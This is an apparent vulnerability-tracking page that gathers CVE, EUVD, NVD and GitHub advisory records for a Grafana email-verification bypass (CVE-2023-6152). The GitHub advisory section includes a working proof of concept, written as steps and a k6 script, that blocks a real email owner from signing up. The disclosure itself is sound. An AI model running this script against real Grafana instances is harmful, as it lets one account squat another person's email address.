Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

A user changing their email after signing up and verifying it can change it without verification in profile settings.

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2023-6152

Published

A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.

Source published
13 Feb 2024 21:38:01 UTC
Source modified
15 Feb 2025 00:10:28 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

euvd · EUVD-2024-0487

Published

A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 13, 2024, 9:38:01 PM

dateUpdated: Feb 15, 2025, 12:10:28 AM

12 related source bulletins · separate from aliases

SUSE-SU-2025:0525-1: Security update for SUSE Manager Client Tools

CVE-2023-3128 · CVE-2023-6152 · CVE-2024-22037 · CVE-2024-45337 · CVE-2024-51744 · CVE-2024-6837 · CVE-2024-8118

SUSE-SU-2024:1427-1: Security Beta update for SUSE Manager Client Tools and Salt

CVE-2016-8647 · CVE-2016-9587 · CVE-2017-7550 · CVE-2018-10874 · CVE-2020-14365 · CVE-2023-5764 · CVE-2023-6152 · CVE-2024-0690

SUSE-SU-2025:0545-1: Security update for grafana

CVE-2023-3128 · CVE-2023-6152 · CVE-2024-45337 · CVE-2024-6837 · CVE-2024-8118

SUSE-SU-2024:1509-1: Security update for SUSE Manager Client Tools

CVE-2016-8614 · CVE-2016-8628 · CVE-2016-8647 · CVE-2016-9587 · CVE-2017-7550 · CVE-2018-10874 · CVE-2020-10744 · CVE-2020-14330 · CVE-2020-14332 · CVE-2020-14365 · CVE-2020-1753 · CVE-2023-5764 · CVE-2023-6152 · CVE-2024-0690 · CVE-2024-1313

SUSE-SU-2024:1508-1: Security update for SUSE Manager Client Tools

CVE-2023-6152 · CVE-2024-1313

WID-SEC-W-2024-0358: Grafana: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen

CVE-2023-6152

SUSE-SU-2024:1530-2: Security update for grafana and mybatis

CVE-2023-6152 · CVE-2024-1313

RHBA-2025:1479: Red Hat Bug Fix Advisory: Updated 5.3 container image is now available in the Red Hat Ecosystem Catalog.

CVE-2023-4822 · CVE-2023-6152 · CVE-2023-39326 · CVE-2023-45288 · CVE-2024-1313 · CVE-2024-1442 · CVE-2024-28176 · CVE-2024-28180 · CVE-2024-30255 · CVE-2024-34155 · CVE-2024-34156

SUSE-SU-2024:1530-1: Security update for grafana and mybatis

CVE-2023-6152 · CVE-2024-1313

SUSE-SU-2025:0524-1: Security update for SUSE Manager Client Tools

CVE-2023-3128 · CVE-2023-6152 · CVE-2024-22037 · CVE-2024-45337 · CVE-2024-51744 · CVE-2024-6837 · CVE-2024-8118

SUSE-SU-2024:1419-1: Security Beta update for SUSE Manager Client Tools

CVE-2023-6152

openSUSE-SU-2024:13713-1: grafana-10.1.7-1.1 on GA media

CVE-2023-6152

Source published
Feb 13, 2024, 9:38:01 PM (timezone not stated)
Source modified
Feb 15, 2025, 12:10:28 AM (timezone not stated)
Saved here
21 Nov 2026 02:50:29 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

nvd · CVE-2023-6152

Published

A user changing their email after signing up and verifying it can change it without verification in profile settings. The configuration option "verify_email_enabled" will only validate email only on sign up.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-863

Original publisher date fields

published: 2024-02-13T22:15:45.430

lastModified: 2026-06-17T06:50:09.507

5 source CPE criteria · context only
  • cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  • cpe:2.3:a:grafana:grafana:10.0.0:*:*:*:*:*:*:*
  • cpe:2.3:a:grafana:grafana:10.1.0:*:*:*:*:*:*:*
  • cpe:2.3:a:grafana:grafana:10.2.0:*:*:*:*:*:*:*
  • cpe:2.3:a:grafana:grafana:10.3.0:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
13 Feb 2024 22:15:45 UTC
Source modified
17 Jun 2026 06:50:09 UTC
Saved here
24 Oct 2026 23:17:11 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CVSS 3.1 · [email protected] · Primary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

osv · GHSA-3hv4-r2fm-h27f

Published

### Summary Email validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in `/profile`. This can be used to prevent legitimate owner of the email address from signing up. Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated. ![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png) Here user a prevents owner of [email protected] to signup. ### Details I don't know exact location but this is related to PUT /api/user handler. ### PoC Bypass email validation: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change email to [email protected] * That's it, your using an email you don't own. Prevent email's owner from signing up: * Start a new grafana instance using latest version * Sign up with email foo@example. * Login to that account. * Go to profile and change username (not email) to [[email protected]](mailto:[email protected]) * Signout. * Try to sign up with email [[email protected]](mailto:[email protected]) * Warning popup "User with same email address already exists" K6 script (with `verify_email_enabled` set to `false`): ```js import { check, group } from "k6" import http from "k6/http" export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } } const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000" export default function () { group("create user_a with email [email protected]", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "[email protected]", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) group("change user_a login to [email protected]", () => { const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({ "email": "[email protected]", "login": "[email protected]", // user_b email. }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 }) }) http.cookieJar().clear(GRAFANA_URL) group("create user_b with email [email protected]", () => { const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({ "email": "[email protected]", "username": "[email protected]", "password": "password" }), { headers: { 'Content-Type': "application/json" } }) check(response, { 'status code is 200': (r) => r.status == 200 // fail }) }) } ``` ### Impact Bypass email verification. Prevent legitimate owner from signing up.

Source published
13 Feb 2024 22:25:10 UTC
Source modified
7 Aug 2026 08:12:23 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 22 Nov 16:32 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current